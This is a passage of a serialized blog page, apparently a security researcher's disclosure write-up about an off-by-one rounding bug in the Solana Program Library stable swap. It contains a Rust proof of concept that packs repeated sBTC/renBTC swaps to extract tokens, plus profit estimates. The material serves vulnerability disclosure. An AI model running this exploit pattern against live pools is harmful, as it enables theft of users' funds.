}\n",[7030],{"type":22,"tag":30,"props":7031,"children":7032},{"__ignoreMap":7},[7033,7041,7071,7102,7200,7305,7330,7342,7359,7379,7386],{"type":22,"tag":101,"props":7034,"children":7035},{"class":103,"line":104},[7036],{"type":22,"tag":101,"props":7037,"children":7038},{"style":2215},[7039],{"type":27,"value":7040}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":22,"tag":101,"props":7042,"children":7043},{"class":103,"line":157},[7044,7048,7053,7058,7062,7067],{"type":22,"tag":101,"props":7045,"children":7046},{"style":108},[7047],{"type":27,"value":950},{"type":22,"tag":101,"props":7049,"children":7050},{"style":108},[7051],{"type":27,"value":7052}," mut",{"type":22,"tag":101,"props":7054,"children":7055},{"style":126},[7056],{"type":27,"value":7057}," y",{"type":22,"tag":101,"props":7059,"children":7060},{"style":166},[7061],{"type":27,"value":960},{"type":22,"tag":101,"props":7063,"children":7064},{"style":126},[7065],{"type":27,"value":7066}," d_val",{"type":22,"tag":101,"props":7068,"children":7069},{"style":120},[7070],{"type":27,"value":1520},{"type":22,"tag":101,"props":7072,"children":7073},{"class":103,"line":182},[7074,7079,7083,7088,7092,7097],{"type":22,"tag":101,"props":7075,"children":7076},{"style":3595},[7077],{"type":27,"value":7078}," for",{"type":22,"tag":101,"props":7080,"children":7081},{"style":126},[7082],{"type":27,"value":1501},{"type":22,"tag":101,"props":7084,"children":7085},{"style":108},[7086],{"type":27,"value":7087}," in",{"type":22,"tag":101,"props":7089,"children":7090},{"style":1544},[7091],{"type":27,"value":1547},{"type":22,"tag":101,"props":7093,"children":7094},{"style":166},[7095],{"type":27,"value":7096},"..",{"type":22,"tag":101,"props":7098,"children":7099},{"style":120},[7100],{"type":27,"value":7101},"ITERATIONS {\n",{"type":22,"tag":101,"props":7103,"children":7104},{"class":103,"line":367},[7105,7109,7113,7118,7122,7126,7130,7134,7138,7143,7147,7151,7156,7160,7165,7169,7174,7179,7183,7188,7192,7196],{"type":22,"tag":101,"props":7106,"children":7107},{"style":108},[7108],{"type":27,"value":3746},{"type":22,"tag":101,"props":7110,"children":7111},{"style":120},[7112],{"type":27,"value":3603},{"type":22,"tag":101,"props":7114,"children":7115},{"style":126},[7116],{"type":27,"value":7117},"y_new",{"type":22,"tag":101,"props":7119,"children":7120},{"style":120},[7121],{"type":27,"value":758},{"type":22,"tag":101,"props":7123,"children":7124},{"style":126},[7125],{"type":27,"value":6382},{"type":22,"tag":101,"props":7127,"children":7128},{"style":120},[7129],{"type":27,"value":901},{"type":22,"tag":101,"props":7131,"children":7132},{"style":166},[7133],{"type":27,"value":1511},{"type":22,"tag":101,"props":7135,"children":7136},{"style":120},[7137],{"type":27,"value":3603},{"type":22,"tag":101,"props":7139,"children":7140},{"style":926},[7141],{"type":27,"value":7142},"checked_u8_power",{"type":22,"tag":101,"props":7144,"children":7145},{"style":120},[7146],{"type":27,"value":980},{"type":22,"tag":101,"props":7148,"children":7149},{"style":166},[7150],{"type":27,"value":985},{"type":22,"tag":101,"props":7152,"children":7153},{"style":126},[7154],{"type":27,"value":7155},"y",{"type":22,"tag":101,"props":7157,"children":7158},{"style":120},[7159],{"type":27,"value":758},{"type":22,"tag":101,"props":7161,"children":7162},{"style":1544},[7163],{"type":27,"value":7164},"2",{"type":22,"tag":101,"props":7166,"children":7167},{"style":120},[7168],{"type":27,"value":2261},{"type":22,"tag":101,"props":7170,"children":7171},{"style":166},[7172],{"type":27,"value":7173},"?.",{"type":22,"tag":101,"props":7175,"children":7176},{"style":926},[7177],{"type":27,"value":7178},"checked_add",{"type":22,"tag":101,"props":7180,"children":7181},{"style":120},[7182],{"type":27,"value":980},{"type":22,"tag":101,"props":7184,"children":7185},{"style":126},[7186],{"type":27,"value":7187},"c",{"type":22,"tag":101,"props":7189,"children":7190},{"style":120},[7191],{"type":27,"value":2261},{"type":22,"tag":101,"props":7193,"children":7194},{"style":166},[7195],{"type":27,"value":5455},{"type":22,"tag":101,"props":7197,"children":7198},{"style":120},[7199],{"type":27,"value":2510},{"type":22,"tag":101,"props":7201,"children":7202},{"class":103,"line":398},[7203,7208,7213,7217,7222,7226,7230,7234,7238,7242,7246,7250,7254,7258,7263,7267,7271,7276,7280,7285,7289,7293,7297,7301],{"type":22,"tag":101,"props":7204,"children":7205},{"style":166},[7206],{"type":27,"value":7207}," .",{"type":22,"tag":101,"props":7209,"children":7210},{"style":926},[7211],{"type":27,"value":7212},"checked_ceil_div",{"type":22,"tag":101,"props":7214,"children":7215},{"style":120},[7216],{"type":27,"value":980},{"type":22,"tag":101,"props":7218,"children":7219},{"style":926},[7220],{"type":27,"value":7221},"checked_u8_mul",{"type":22,"tag":101,"props":7223,"children":7224},{"style":120},[7225],{"type":27,"value":980},{"type":22,"tag":101,"props":7227,"children":7228},{"style":166},[7229],{"type":27,"value":985},{"type":22,"tag":101,"props":7231,"children":7232},{"style":126},[7233],{"type":27,"value":7155},{"type":22,"tag":101,"props":7235,"children":7236},{"style":120},[7237],{"type":27,"value":758},{"type":22,"tag":101,"props":7239,"children":7240},{"style":1544},[7241],{"type":27,"value":7164},{"type":22,"tag":101,"props":7243,"children":7244},{"style":120},[7245],{"type":27,"value":2261},{"type":22,"tag":101,"props":7247,"children":7248},{"style":166},[7249],{"type":27,"value":7173},{"type":22,"tag":101,"props":7251,"children":7252},{"style":926},[7253],{"type":27,"value":7178},{"type":22,"tag":101,"props":7255,"children":7256},{"style":120},[7257],{"type":27,"value":980},{"type":22,"tag":101,"props":7259,"children":7260},{"style":126},[7261],{"type":27,"value":7262},"b",{"type":22,"tag":101,"props":7264,"children":7265},{"style":120},[7266],{"type":27,"value":2261},{"type":22,"tag":101,"props":7268,"children":7269},{"style":166},[7270],{"type":27,"value":7173},{"type":22,"tag":101,"props":7272,"children":7273},{"style":926},[7274],{"type":27,"value":7275},"checked_sub",{"type":22,"tag":101,"props":7277,"children":7278},{"style":120},[7279],{"type":27,"value":980},{"type":22,"tag":101,"props":7281,"children":7282},{"style":126},[7283],{"type":27,"value":7284},"d_val",{"type":22,"tag":101,"props":7286,"children":7287},{"style":120},[7288],{"type":27,"value":2261},{"type":22,"tag":101,"props":7290,"children":7291},{"style":166},[7292],{"type":27,"value":5455},{"type":22,"tag":101,"props":7294,"children":7295},{"style":120},[7296],{"type":27,"value":2261},{"type":22,"tag":101,"props":7298,"children":7299},{"style":166},[7300],{"type":27,"value":5455},{"type":22,"tag":101,"props":7302,"children":7303},{"style":120},[7304],{"type":27,"value":1520},{"type":22,"tag":101,"props":7306,"children":7307},{"class":103,"line":428},[7308,7313,7318,7322,7326],{"type":22,"tag":101,"props":7309,"children":7310},{"style":3595},[7311],{"type":27,"value":7312}," if",{"type":22,"tag":101,"props":7314,"children":7315},{"style":126},[7316],{"type":27,"value":7317}," y_new",{"type":22,"tag":101,"props":7319,"children":7320},{"style":166},[7321],{"type":27,"value":1541},{"type":22,"tag":101,"props":7323,"children":7324},{"style":126},[7325],{"type":27,"value":7057},{"type":22,"tag":101,"props":7327,"children":7328},{"style":120},[7329],{"type":27,"value":154},{"type":22,"tag":101,"props":7331,"children":7332},{"class":103,"line":997},[7333,7338],{"type":22,"tag":101,"props":7334,"children":7335},{"style":3595},[7336],{"type":27,"value":7337}," break",{"type":22,"tag":101,"props":7339,"children":7340},{"style":120},[7341],{"type":27,"value":1520},{"type":22,"tag":101,"props":7343,"children":7344},{"class":103,"line":1032},[7345,7350,7355],{"type":22,"tag":101,"props":7346,"children":7347},{"style":120},[7348],{"type":27,"value":7349}," } ",{"type":22,"tag":101,"props":7351,"children":7352},{"style":3595},[7353],{"type":27,"value":7354},"else",{"type":22,"tag":101,"props":7356,"children":7357},{"style":120},[7358],{"type":27,"value":154},{"type":22,"tag":101,"props":7360,"children":7361},{"class":103,"line":1063},[7362,7367,7371,7375],{"type":22,"tag":101,"props":7363,"children":7364},{"style":126},[7365],{"type":27,"value":7366}," y",{"type":22,"tag":101,"props":7368,"children":7369},{"style":166},[7370],{"type":27,"value":960},{"type":22,"tag":101,"props":7372,"children":7373},{"style":126},[7374],{"type":27,"value":7317},{"type":22,"tag":101,"props":7376,"children":7377},{"style":120},[7378],{"type":27,"value":1520},{"type":22,"tag":101,"props":7380,"children":7381},{"class":103,"line":1071},[7382],{"type":22,"tag":101,"props":7383,"children":7384},{"style":120},[7385],{"type":27,"value":2398},{"type":22,"tag":101,"props":7387,"children":7388},{"class":103,"line":1110},[7389],{"type":22,"tag":101,"props":7390,"children":7391},{"style":120},[7392],{"type":27,"value":1734},{"type":22,"tag":23,"props":7394,"children":7395},{},[7396,7401],{"type":22,"tag":6961,"props":7397,"children":7398},{},[7399],{"type":27,"value":7400},"approximate",{"type":27,"value":7402},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":22,"tag":23,"props":7404,"children":7405},{},[7406],{"type":27,"value":7407},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":22,"tag":91,"props":7409,"children":7411},{"code":7410,"language":95,"meta":7,"className":93,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[7412],{"type":22,"tag":30,"props":7413,"children":7414},{"__ignoreMap":7},[7415,7423,7463,7471,7500,7527,7543,7559,7584,7600,7616,7632,7648,7664,7676,7684,7705,7712,7721,7789,7797,7827,7835,7866,7874,7934],{"type":22,"tag":101,"props":7416,"children":7417},{"class":103,"line":104},[7418],{"type":22,"tag":101,"props":7419,"children":7420},{"style":2215},[7421],{"type":27,"value":7422},"// from sbtc to renbtc\n",{"type":22,"tag":101,"props":7424,"children":7425},{"class":103,"line":157},[7426,7431,7436,7440,7444,7449,7454,7459],{"type":22,"tag":101,"props":7427,"children":7428},{"style":3595},[7429],{"type":27,"value":7430},"for",{"type":22,"tag":101,"props":7432,"children":7433},{"style":126},[7434],{"type":27,"value":7435}," i",{"type":22,"tag":101,"props":7437,"children":7438},{"style":108},[7439],{"type":27,"value":7087},{"type":22,"tag":101,"props":7441,"children":7442},{"style":1544},[7443],{"type":27,"value":1547},{"type":22,"tag":101,"props":7445,"children":7446},{"style":166},[7447],{"type":27,"value":7448}," ..",{"type":22,"tag":101,"props":7450,"children":7451},{"style":1544},[7452],{"type":27,"value":7453}," 50",{"type":22,"tag":101,"props":7455,"children":7456},{"style":114},[7457],{"type":27,"value":7458},"u8",{"type":22,"tag":101,"props":7460,"children":7461},{"style":120},[7462],{"type":27,"value":154},{"type":22,"tag":101,"props":7464,"children":7465},{"class":103,"line":182},[7466],{"type":22,"tag":101,"props":7467,"children":7468},{"style":2215},[7469],{"type":27,"value":7470}," // create swap transaction\n",{"type":22,"tag":101,"props":7472,"children":7473},{"class":103,"line":367},[7474,7478,7482,7487,7491,7496],{"type":22,"tag":101,"props":7475,"children":7476},{"style":108},[7477],{"type":27,"value":950},{"type":22,"tag":101,"props":7479,"children":7480},{"style":108},[7481],{"type":27,"value":7052},{"type":22,"tag":101,"props":7483,"children":7484},{"style":126},[7485],{"type":27,"value":7486}," swap_instruction",{"type":22,"tag":101,"props":7488,"children":7489},{"style":166},[7490],{"type":27,"value":960},{"type":22,"tag":101,"props":7492,"children":7493},{"style":926},[7494],{"type":27,"value":7495}," swap",{"type":22,"tag":101,"props":7497,"children":7498},{"style":120},[7499],{"type":27,"value":1850},{"type":22,"tag":101,"props":7501,"children":7502},{"class":103,"line":398},[7503,7508,7513,7517,7522],{"type":22,"tag":101,"props":7504,"children":7505},{"style":166},[7506],{"type":27,"value":7507}," &",{"type":22,"tag":101,"props":7509,"children":7510},{"style":120},[7511],{"type":27,"value":7512},"spl_token",{"type":22,"tag":101,"props":7514,"children":7515},{"style":166},[7516],{"type":27,"value":970},{"type":22,"tag":101,"props":7518,"children":7519},{"style":926},[7520],{"type":27,"value":7521},"id",{"type":22,"tag":101,"props":7523,"children":7524},{"style":120},[7525],{"type":27,"value":7526},"(),\n",{"type":22,"tag":101,"props":7528,"children":7529},{"class":103,"line":428},[7530,7534,7539],{"type":22,"tag":101,"props":7531,"children":7532},{"style":166},[7533],{"type":27,"value":7507},{"type":22,"tag":101,"props":7535,"children":7536},{"style":126},[7537],{"type":27,"value":7538},"swap_pubkey",{"type":22,"tag":101,"props":7540,"children":7541},{"style":120},[7542],{"type":27,"value":179},{"type":22,"tag":101,"props":7544,"children":7545},{"class":103,"line":997},[7546,7550,7555],{"type":22,"tag":101,"props":7547,"children":7548},{"style":166},[7549],{"type":27,"value":7507},{"type":22,"tag":101,"props":7551,"children":7552},{"style":126},[7553],{"type":27,"value":7554},"swap_authority_pubkey",{"type":22,"tag":101,"props":7556,"children":7557},{"style":120},[7558],{"type":27,"value":179},{"type":22,"tag":101,"props":7560,"children":7561},{"class":103,"line":1032},[7562,7566,7571,7575,7580],{"type":22,"tag":101,"props":7563,"children":7564},{"style":166},[7565],{"type":27,"value":7507},{"type":22,"tag":101,"props":7567,"children":7568},{"style":126},[7569],{"type":27,"value":7570},"test_account_signer",{"type":22,"tag":101,"props":7572,"children":7573},{"style":166},[7574],{"type":27,"value":231},{"type":22,"tag":101,"props":7576,"children":7577},{"style":926},[7578],{"type":27,"value":7579},"pubkey",{"type":22,"tag":101,"props":7581,"children":7582},{"style":120},[7583],{"type":27,"value":7526},{"type":22,"tag":101,"props":7585,"children":7586},{"class":103,"line":1063},[7587,7591,7596],{"type":22,"tag":101,"props":7588,"children":7589},{"style":166},[7590],{"type":27,"value":7507},{"type":22,"tag":101,"props":7592,"children":7593},{"style":126},[7594],{"type":27,"value":7595},"sbtc_user_account",{"type":22,"tag":101,"props":7597,"children":7598},{"style":120},[7599],{"type":27,"value":179},{"type":22,"tag":101,"props":7601,"children":7602},{"class":103,"line":1071},[7603,7607,7612],{"type":22,"tag":101,"props":7604,"children":7605},{"style":166},[7606],{"type":27,"value":7507},{"type":22,"tag":101,"props":7608,"children":7609},{"style":126},[7610],{"type":27,"value":7611},"sbtc_reserve",{"type":22,"tag":101,"props":7613,"children":7614},{"style":120},[7615],{"type":27,"value":179},{"type":22,"tag":101,"props":7617,"children":7618},{"class":103,"line":1110},[7619,7623,7628],{"type":22,"tag":101,"props":7620,"children":7621},{"style":166},[7622],{"type":27,"value":7507},{"type":22,"tag":101,"props":7624,"children":7625},{"style":126},[7626],{"type":27,"value":7627},"renbtc_reserve",{"type":22,"tag":101,"props":7629,"children":7630},{"style":120},[7631],{"type":27,"value":179},{"type":22,"tag":101,"props":7633,"children":7634},{"class":103,"line":1118},[7635,7639,7644],{"type":22,"tag":101,"props":7636,"children":7637},{"style":166},[7638],{"type":27,"value":7507},{"type":22,"tag":101,"props":7640,"children":7641},{"style":126},[7642],{"type":27,"value":7643},"renbtc_user_account",{"type":22,"tag":101,"props":7645,"children":7646},{"style":120},[7647],{"type":27,"value":179},{"type":22,"tag":101,"props":7649,"children":7650},{"class":103,"line":1158},[7651,7655,7660],{"type":22,"tag":101,"props":7652,"children":7653},{"style":166},[7654],{"type":27,"value":7507},{"type":22,"tag":101,"props":7656,"children":7657},{"style":126},[7658],{"type":27,"value":7659},"admin_fee_account_sbtc_to_ren",{"type":22,"tag":101,"props":7661,"children":7662},{"style":120},[7663],{"type":27,"value":179},{"type":22,"tag":101,"props":7665,"children":7666},{"class":103,"line":1166},[7667,7672],{"type":22,"tag":101,"props":7668,"children":7669},{"style":1544},[7670],{"type":27,"value":7671}," 1",{"type":22,"tag":101,"props":7673,"children":7674},{"style":120},[7675],{"type":27,"value":179},{"type":22,"tag":101,"props":7677,"children":7678},{"class":103,"line":1215},[7679],{"type":22,"tag":101,"props":7680,"children":7681},{"style":1544},[7682],{"type":27,"value":7683}," 2\n",{"type":22,"tag":101,"props":7685,"children":7686},{"class":103,"line":2425},[7687,7692,7696,7701],{"type":22,"tag":101,"props":7688,"children":7689},{"style":120},[7690],{"type":27,"value":7691}," )",{"type":22,"tag":101,"props":7693,"children":7694},{"style":166},[7695],{"type":27,"value":231},{"type":22,"tag":101,"props":7697,"children":7698},{"style":926},[7699],{"type":27,"value":7700},"unwrap",{"type":22,"tag":101,"props":7702,"children":7703},{"style":120},[7704],{"type":27,"value":934},{"type":22,"tag":101,"props":7706,"children":7707},{"class":103,"line":5417},[7708],{"type":22,"tag":101,"props":7709,"children":7710},{"emptyLinePlaceholder":15},[7711],{"type":27,"value":1581},{"type":22,"tag":101,"props":7713,"children":7715},{"class":103,"line":7714},18,[7716],{"type":22,"tag":101,"props":7717,"children":7718},{"style":2215},[7719],{"type":27,"value":7720}," // nonce\n",{"type":22,"tag":101,"props":7722,"children":7724},{"class":103,"line":7723},19,[7725,7730,7734,7739,7743,7748,7752,7756,7761,7766,7770,7775,7779,7784],{"type":22,"tag":101,"props":7726,"children":7727},{"style":126},[7728],{"type":27,"value":7729}," swap_instruction",{"type":22,"tag":101,"props":7731,"children":7732},{"style":166},[7733],{"type":27,"value":231},{"type":22,"tag":101,"props":7735,"children":7736},{"style":120},[7737],{"type":27,"value":7738},"data",{"type":22,"tag":101,"props":7740,"children":7741},{"style":166},[7742],{"type":27,"value":231},{"type":22,"tag":101,"props":7744,"children":7745},{"style":926},[7746],{"type":27,"value":7747},"append",{"type":22,"tag":101,"props":7749,"children":7750},{"style":120},[7751],{"type":27,"value":980},{"type":22,"tag":101,"props":7753,"children":7754},{"style":166},[7755],{"type":27,"value":985},{"type":22,"tag":101,"props":7757,"children":7758},{"style":108},[7759],{"type":27,"value":7760},"mut",{"type":22,"tag":101,"props":7762,"children":7763},{"style":926},[7764],{"type":27,"value":7765}," vec!",{"type":22,"tag":101,"props":7767,"children":7768},{"style":120},[7769],{"type":27,"value":2414},{"type":22,"tag":101,"props":7771,"children":7772},{"style":126},[7773],{"type":27,"value":7774},"i",{"type":22,"tag":101,"props":7776,"children":7777},{"style":120},[7778],{"type":27,"value":758},{"type":22,"tag":101,"props":7780,"children":7781},{"style":126},[7782],{"type":27,"value":7783},"extranonce",{"type":22,"tag":101,"props":7785,"children":7786},{"style":120},[7787],{"type":27,"value":7788},"]);\n",{"type":22,"tag":101,"props":7790,"children":7792},{"class":103,"line":7791},20,[7793],{"type":22,"tag":101,"props":7794,"children":7795},{"emptyLinePlaceholder":15},[7796],{"type":27,"value":1581},{"type":22,"tag":101,"props":7798,"children":7800},{"class":103,"line":7799},21,[7801,7805,7809,7814,7818,7822],{"type":22,"tag":101,"props":7802,"children":7803},{"style":108},[7804],{"type":27,"value":950},{"type":22,"tag":101,"props":7806,"children":7807},{"style":108},[7808],{"type":27,"value":7052},{"type":22,"tag":101,"props":7810,"children":7811},{"style":126},[7812],{"type":27,"value":7813}," instructions",{"type":22,"tag":101,"props":7815,"children":7816},{"style":166},[7817],{"type":27,"value":960},{"type":22,"tag":101,"props":7819,"children":7820},{"style":926},[7821],{"type":27,"value":7765},{"type":22,"tag":101,"props":7823,"children":7824},{"style":120},[7825],{"type":27,"value":7826},"[];\n",{"type":22,"tag":101,"props":7828,"children":7830},{"class":103,"line":7829},22,[7831],{"type":22,"tag":101,"props":7832,"children":7833},{"emptyLinePlaceholder":15},[7834],{"type":27,"value":1581},{"type":22,"tag":101,"props":7836,"children":7838},{"class":103,"line":7837},23,[7839,7844,7848,7853,7857,7862],{"type":22,"tag":101,"props":7840,"children":7841},{"style":126},[7842],{"type":27,"value":7843}," instructions",{"type":22,"tag":101,"props":7845,"children":7846},{"style":166},[7847],{"type":27,"value":231},{"type":22,"tag":101,"props":7849,"children":7850},{"style":926},[7851],{"type":27,"value":7852},"push",{"type":22,"tag":101,"props":7854,"children":7855},{"style":120},[7856],{"type":27,"value":980},{"type":22,"tag":101,"props":7858,"children":7859},{"style":126},[7860],{"type":27,"value":7861},"swap_instruction",{"type":22,"tag":101,"props":7863,"children":7864},{"style":120},[7865],{"type":27,"value":994},{"type":22,"tag":101,"props":7867,"children":7869},{"class":103,"line":7868},24,[7870],{"type":22,"tag":101,"props":7871,"children":7872},{"emptyLinePlaceholder":15},[7873],{"type":27,"value":1581},{"type":22,"tag":101,"props":7875,"children":7877},{"class":103,"line":7876},25,[7878,7883,7887,7892,7896,7900,7905,7909,7913,7918,7922,7926,7930],{"type":22,"tag":101,"props":7879,"children":7880},{"style":126},[7881],{"type":27,"value":7882}," env",{"type":22,"tag":101,"props":7884,"children":7885},{"style":166},[7886],{"type":27,"value":231},{"type":22,"tag":101,"props":7888,"children":7889},{"style":926},[7890],{"type":27,"value":7891},"execute_as_transaction",{"type":22,"tag":101,"props":7893,"children":7894},{"style":120},[7895],{"type":27,"value":980},{"type":22,"tag":101,"props":7897,"children":7898},{"style":166},[7899],{"type":27,"value":985},{"type":22,"tag":101,"props":7901,"children":7902},{"style":126},[7903],{"type":27,"value":7904},"instructions",{"type":22,"tag":101,"props":7906,"children":7907},{"style":120},[7908],{"type":27,"value":758},{"type":22,"tag":101,"props":7910,"children":7911},{"style":166},[7912],{"type":27,"value":985},{"type":22,"tag":101,"props":7914,"children":7915},{"style":926},[7916],{"type":27,"value":7917},"vec!",{"type":22,"tag":101,"props":7919,"children":7920},{"style":120},[7921],{"type":27,"value":2414},{"type":22,"tag":101,"props":7923,"children":7924},{"style":166},[7925],{"type":27,"value":985},{"type":22,"tag":101,"props":7927,"children":7928},{"style":126},[7929],{"type":27,"value":7570},{"type":22,"tag":101,"props":7931,"children":7932},{"style":120},[7933],{"type":27,"value":7788},{"type":22,"tag":101,"props":7935,"children":7937},{"class":103,"line":7936},26,[7938],{"type":22,"tag":101,"props":7939,"children":7940},{"style":120},[7941],{"type":27,"value":188},{"type":22,"tag":23,"props":7943,"children":7944},{},[7945],{"type":27,"value":7946},"It works!",{"type":22,"tag":604,"props":7948,"children":7949},{},[7950],{"type":22,"tag":23,"props":7951,"children":7952},{},[7953],{"type":27,"value":7954},"holy shit\nyea, this is big",{"type":22,"tag":23,"props":7956,"children":7957},{},[7958],{"type":22,"tag":7959,"props":7960,"children":7962},"img",{"alt":7,"src":7961},"/posts/spl-swap/poc.png",[],{"type":22,"tag":53,"props":7964,"children":7966},{"id":7965},"exploitability",[7967],{"type":27,"value":7968},"Exploitability",{"type":22,"tag":23,"props":7970,"children":7971},{},[7972],{"type":27,"value":7973},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":22,"tag":23,"props":7975,"children":7976},{},[7977],{"type":27,"value":7978},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":22,"tag":23,"props":7980,"children":7981},{},[7982],{"type":27,"value":7983},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":22,"tag":23,"props":7985,"children":7986},{},[7987],{"type":22,"tag":7959,"props":7988,"children":7990},{"alt":7,"src":7989},"/posts/spl-swap/pr.png",[],{"type":22,"tag":23,"props":7992,"children":7993},{},[7994,7996,8001],{"type":27,"value":7995},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":22,"tag":6961,"props":7997,"children":7998},{},[7999],{"type":27,"value":8000},"per instruction",{"type":27,"value":8002},". Transactions on Solana can also contain multiple instructions.",{"type":22,"tag":23,"props":8004,"children":8005},{},[8006],{"type":27,"value":8007},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":22,"tag":23,"props":8009,"children":8010},{},[8011,8013,8018],{"type":27,"value":8012},"Some quick napkin math confirms that this ",{"type":22,"tag":6961,"props":8014,"children":8015},{},[8016],{"type":27,"value":8017},"is",{"type":27,"value":8019}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":22,"tag":23,"props":8021,"children":8022},{},[8023],{"type":22,"tag":30,"props":8024,"children":8028},{"className":8025},[8026,8027],"language-math","math-inline",[8029],{"type":22,"tag":101,"props":8030,"children":8033},{"className":8031},[8032],"katex",[8034],{"type":22,"tag":101,"props":8035,"children":8038},{"className":8036,"ariaHidden":5608},[8037],"katex-html",[8039,8147,8203,8243],{"type":22,"tag":101,"props":8040,"children":8043},{"className":8041},[8042],"base",[8044,8050,8056,8120,8130,8136,8143],{"type":22,"tag":101,"props":8045,"children":8049},{"className":8046,"style":8048},[8047],"strut","height:0.8141em;",[],{"type":22,"tag":101,"props":8051,"children":8054},{"className":8052},[8053],"mord",[8055],{"type":27,"value":6813},{"type":22,"tag":101,"props":8057,"children":8059},{"className":8058},[8053],[8060,8066],{"type":22,"tag":101,"props":8061,"children":8063},{"className":8062},[8053],[8064],{"type":27,"value":8065},"0",{"type":22,"tag":101,"props":8067,"children":8070},{"className":8068},[8069],"msupsub",[8071],{"type":22,"tag":101,"props":8072,"children":8075},{"className":8073},[8074],"vlist-t",[8076],{"type":22,"tag":101,"props":8077,"children":8080},{"className":8078},[8079],"vlist-r",[8081],{"type":22,"tag":101,"props":8082,"children":8085},{"className":8083,"style":8048},[8084],"vlist",[8086],{"type":22,"tag":101,"props":8087,"children":8089},{"style":8088},"top:-3.063em;margin-right:0.05em;",[8090,8096],{"type":22,"tag":101,"props":8091,"children":8095},{"className":8092,"style":8094},[8093],"pstrut","height:2.7em;",[],{"type":22,"tag":101,"props":8097,"children":8103},{"className":8098},[8099,8100,8101,8102],"sizing","reset-size6","size3","mtight",[8104],{"type":22,"tag":101,"props":8105,"children":8107},{"className":8106},[8053,8102],[8108,8114],{"type":22,"tag":101,"props":8109,"children":8111},{"className":8110},[8053,8102],[8112],{"type":27,"value":8113},"−",{"type":22,"tag":101,"props":8115,"children":8117},{"className":8116},[8053,8102],[8118],{"type":27,"value":8119},"8",{"type":22,"tag":101,"props":8121,"children":8123},{"className":8122},[8053,27],[8124],{"type":22,"tag":101,"props":8125,"children":8127},{"className":8126},[8053],[8128],{"type":27,"value":8129}," BTC",{"type":22,"tag":101,"props":8131,"children":8135},{"className":8132,"style":8134},[8133],"mspace","margin-right:0.2222em;",[],{"type":22,"tag":101,"props":8137,"children":8140},{"className":8138},[8139],"mbin",[8141],{"type":27,"value":8142},"∗",{"type":22,"tag":101,"props":8144,"children":8146},{"className":8145,"style":8134},[8133],[],{"type":22,"tag":101,"props":8148,"children":8150},{"className":8149},[8042],[8151,8156,8162,8169,8174,8180,8190,8194,8199],{"type":22,"tag":101,"props":8152,"children":8155},{"className":8153,"style":8154},[8047],"height:1em;vertical-align:-0.25em;",[],{"type":22,"tag":101,"props":8157,"children":8159},{"className":8158},[8053],[8160],{"type":27,"value":8161},"$41",{"type":22,"tag":101,"props":8163,"children":8166},{"className":8164},[8165],"mpunct",[8167],{"type":27,"value":8168},",",{"type":22,"tag":101,"props":8170,"children":8173},{"className":8171,"style":8172},[8133],"margin-right:0.1667em;",[],{"type":22,"tag":101,"props":8175,"children":8177},{"className":8176},[8053],[8178],{"type":27,"value":8179},"400/",{"type":22,"tag":101,"props":8181,"children":8183},{"className":8182},[8053,27],[8184],{"type":22,"tag":101,"props":8185,"children":8187},{"className":8186},[8053],[8188],{"type":27,"value":8189},"BTC",{"type":22,"tag":101,"props":8191,"children":8193},{"className":8192,"style":8134},[8133],[],{"type":22,"tag":101,"props":8195,"children":8197},{"className":8196},[8139],[8198],{"type":27,"value":8142},{"type":22,"tag":101,"props":8200,"children":8202},{"className":8201,"style":8134},[8133],[],{"type":22,"tag":101,"props":8204,"children":8206},{"className":8205},[8042],[8207,8212,8218,8228,8233,8239],{"type":22,"tag":101,"props":8208,"children":8211},{"className":8209,"style":8210},[8047],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":22,"tag":101,"props":8213,"children":8215},{"className":8214},[8053],[8216],{"type":27,"value":8217},"150",{"type":22,"tag":101,"props":8219,"children":8221},{"className":8220},[8053,27],[8222],{"type":22,"tag":101,"props":8223,"children":8225},{"className":8224},[8053],[8226],{"type":27,"value":8227}," swaps",{"type":22,"tag":101,"props":8229,"children":8232},{"className":8230,"style":8231},[8133],"margin-right:0.2778em;",[],{"type":22,"tag":101,"props":8234,"children":8237},{"className":8235},[8236],"mrel",[8238],{"type":27,"value":1511},{"type":22,"tag":101,"props":8240,"children":8242},{"className":8241,"style":8231},[8133],[],{"type":22,"tag":101,"props":8244,"children":8246},{"className":8245},[8042],[8247,8252],{"type":22,"tag":101,"props":8248,"children":8251},{"className":8249,"style":8250},[8047],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":22,"tag":101,"props":8253,"children":8255},{"className":8254},[8053],[8256],{"type":27,"value":8257},"$0.0621",{"type":22,"tag":23,"props":8259,"children":8260},{},[8261],{"type":27,"value":8262},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":22,"tag":23,"props":8264,"children":8265},{},[8266],{"type":27,"value":8267},"We're well on our way to becoming a millionaire!",{"type":22,"tag":53,"props":8269,"children":8271},{"id":8270},"patch",[8272],{"type":27,"value":8273},"Patch",{"type":22,"tag":23,"props":8275,"children":8276},{},[8277],{"type":27,"value":8278},"Now that we had a proof-of-concept going, it was time to contact the relevant 